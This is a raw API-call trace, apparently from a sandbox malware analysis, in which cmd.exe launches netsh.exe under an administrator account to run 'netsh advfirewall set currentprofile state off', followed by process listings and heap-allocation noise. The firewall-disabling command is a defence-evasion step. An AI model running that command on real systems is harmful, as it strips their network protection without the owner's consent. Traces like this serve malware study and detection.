[0283.555] GetProcessHeap () returned 0x208c11e0000 [0283.555] RtlSizeHeap (HeapHandle=0x208c11e0000, Flags=0x0, MemoryPointer=0x208c11f8dc0) returned 0x1b6 [0283.555] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7c559bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0283.555] GetProcessHeap () returned 0x208c11e0000 [0283.555] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xe8) returned 0x208c11f8f90 [0283.559] GetProcessHeap () returned 0x208c11e0000 [0283.559] RtlReAllocateHeap (Heap=0x208c11e0000, Flags=0x0, Ptr=0x208c11f8f90, Size=0x7e) returned 0x208c11f8f90 [0283.559] GetProcessHeap () returned 0x208c11e0000 [0283.559] RtlSizeHeap (HeapHandle=0x208c11e0000, Flags=0x0, MemoryPointer=0x208c11f8f90) returned 0x7e [0283.560] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0283.560] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0xacfcf5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xacfcf5ed10) returned 0x208c11e6eb0 [0283.561] GetProcessHeap () returned 0x208c11e0000 [0283.561] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x0, Size=0x28) returned 0x208c11e6a70 [0283.561] FindClose (in: hFindFile=0x208c11e6eb0 | out: hFindFile=0x208c11e6eb0) returned 1 [0283.561] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0xacfcf5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xacfcf5ed10) returned 0xffffffffffffffff [0283.561] GetLastError () returned 0x2 [0283.561] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0xacfcf5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xacfcf5ed10) returned 0x208c11e6eb0 [0283.561] GetProcessHeap () returned 0x208c11e0000 [0283.561] RtlReAllocateHeap (Heap=0x208c11e0000, Flags=0x0, Ptr=0x208c11e6a70, Size=0x8) returned 0x208c11e6a70 [0283.561] FindClose (in: hFindFile=0x208c11e6eb0 | out: hFindFile=0x208c11e6eb0) returned 1 [0283.562] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0283.562] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0283.562] ??_V@YAXPEAX@Z () returned 0x1 [0283.562] GetConsoleTitleW (in: lpConsoleTitle=0xacfcf5f290, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0283.866] GetProcessHeap () returned 0x208c11e0000 [0283.866] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x21c) returned 0x208c11f9020 [0283.866] GetConsoleTitleW (in: lpConsoleTitle=0x208c11f9030, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0284.153] GetProcessHeap () returned 0x208c11e0000 [0284.153] RtlReAllocateHeap (Heap=0x208c11e0000, Flags=0x0, Ptr=0x208c11f9020, Size=0xd8) returned 0x208c11f9020 [0284.153] GetProcessHeap () returned 0x208c11e0000 [0284.153] RtlSizeHeap (HeapHandle=0x208c11e0000, Flags=0x0, MemoryPointer=0x208c11f9020) returned 0xd8 [0284.153] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0284.343] GetProcessHeap () returned 0x208c11e0000 [0284.343] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11f9020) returned 1 [0284.343] InitializeProcThreadAttributeList (in: lpAttributeList=0xacfcf5f1b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xacfcf5f0a0 | out: lpAttributeList=0xacfcf5f1b0, lpSize=0xacfcf5f0a0) returned 1 [0284.343] UpdateProcThreadAttribute (in: lpAttributeList=0xacfcf5f1b0, dwFlags=0x0, Attribute=0x60001, lpValue=0xacfcf5f08c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xacfcf5f1b0, lpPreviousValue=0x0) returned 1 [0284.344] GetStartupInfoW (in: lpStartupInfo=0xacfcf5f140 | out: lpStartupInfo=0xacfcf5f140*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x224, hStdOutput=0x238, hStdError=0x238)) [0284.344] GetProcessHeap () returned 0x208c11e0000 [0284.344] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x20) returned 0x208c11e6eb0 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0284.344] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0284.345] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0284.346] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0284.346] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0284.346] GetProcessHeap () returned 0x208c11e0000 [0284.346] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e6eb0) returned 1 [0284.346] GetProcessHeap () returned 0x208c11e0000 [0284.346] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0x12) returned 0x208c11e6aa0 [0284.346] _get_osfhandle (_FileHandle=1) returned 0x238 [0284.346] SetConsoleMode (hConsoleHandle=0x238, dwMode=0x0) returned 0 [0284.346] _get_osfhandle (_FileHandle=0) returned 0x224 [0284.346] SetConsoleMode (hConsoleHandle=0x224, dwMode=0x0) returned 0 [0284.346] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0xacfcf5f0d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xacfcf5f0a8 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0xacfcf5f0a8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x974, dwThreadId=0x894)) returned 1 [0286.301] CloseHandle (hObject=0x98) returned 1 [0286.302] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0286.302] GetProcessHeap () returned 0x208c11e0000 [0286.302] RtlFreeHeap (HeapHandle=0x208c11e0000, Flags=0x0, BaseAddress=0x208c11e5a10) returned 1 [0286.302] GetEnvironmentStringsW () returned 0x208c11e5a10* [0286.302] GetProcessHeap () returned 0x208c11e0000 [0286.302] RtlAllocateHeap (HeapHandle=0x208c11e0000, Flags=0x8, Size=0xac4) returned 0x208c11f93d0 [0286.302] FreeEnvironmentStringsA (penv="=") returned 1 [0286.302] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff9b72d0000 [0286.302] GetProcAddress (hModule=0x7ff9b72d0000, lpProcName="NtQueryInformationProcess") returned 0x7ff9b73756b0 [0286.303] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0xacfcf5e5a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xacfcf5e5a8, ReturnLength=0x0) returned 0x0 [0286.303] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xfb9a27000, lpBuffer=0xacfcf5e5e0, nSize=0x7a0, lpNumberOfBytesRead=0xacfcf5e5a0 | out: lpBuffer=0xacfcf5e5e0*, lpNumberOfBytesRead=0xacfcf5e5a0*=0x7a0) returned 1 [0286.303] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 116 os_tid = 0x840 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x58471000" os_pid = "0xc78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xc28" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 100 os_tid = 0xc7c Thread: id = 108 os_tid = 0x570 Thread: id = 109 os_tid = 0x3dc Thread: id = 112 os_tid = 0x380 Thread: id = 113 os_tid = 0xb6c Process: id = "17" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x59451000" os_pid = "0x654" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x530" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 103 os_tid = 0xc80 Thread: id = 110 os_tid = 0x34c Thread: id = 111 os_tid = 0x35c Thread: id = 114 os_tid = 0x558 Thread: id = 115 os_tid = 0x888 Process: id = "18" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x602f9000" os_pid = "0x974" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xc28" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 118 os_tid = 0x894 [0288.468] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d90f0000 [0288.468] __set_app_type (_Type=0x1) [0288.468] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d90fa1c0) returned 0x0 [0288.468] __wgetmainargs (in: _Argc=0x7ff7d9107668, _Argv=0x7ff7d9107670, _Env=0x7ff7d9107678, _DoWildCard=0, _StartInfo=0x7ff7d9107684 | out: _Argc=0x7ff7d9107668, _Argv=0x7ff7d9107670, _Env=0x7ff7d9107678) returned 0 [0288.472] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0288.472] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d90f0000 [0288.473] _vsnwprintf (in: _Buffer=0x7ff7d9109b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0xfb9cf76e8 | out: _Buffer="netsh>") returned 6 [0288.473] GetProcessHeap () returned 0x12ee08b0000 [0288.473] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bea80 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bed80 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bedc0 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beb60 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beda0 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beb40 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bee60 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be8a0 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bef40 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bece0 [0288.474] GetProcessHeap () returned 0x12ee08b0000 [0288.474] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08befe0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bee00 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be8c0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beae0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be8e0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bec60 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bea00 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bea20 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be9e0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be9a0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bee40 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08becc0 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be980 [0288.475] GetProcessHeap () returned 0x12ee08b0000 [0288.475] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bee20 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be900 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beba0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bed00 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beec0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beac0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08befa0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bec40 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beb80 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bef60 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beaa0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bebe0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beca0 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.476] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bea40 [0288.476] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bebc0 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bef80 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bee80 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08befc0 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bec80 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bec00 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bf000 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bede0 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beee0 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bef20 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bed20 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bea60 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.477] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bf020 [0288.477] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bec20 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beb00 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be9c0 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beb20 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bed40 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bed60 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08beea0 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bef00 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be920 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be940 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08be960 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfec0 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.478] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c00c0 [0288.478] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0140 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfde0 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0260 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfe00 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfdc0 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfda0 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08bfe20 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0060 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 0x12ee08c0360 [0288.479] GetProcessHeap () returned 0x12ee08b0000 [0288.479] RtlAllocateHeap (HeapHandle=0x12ee08b0000, Flags=0x0, Size=0x10) returned 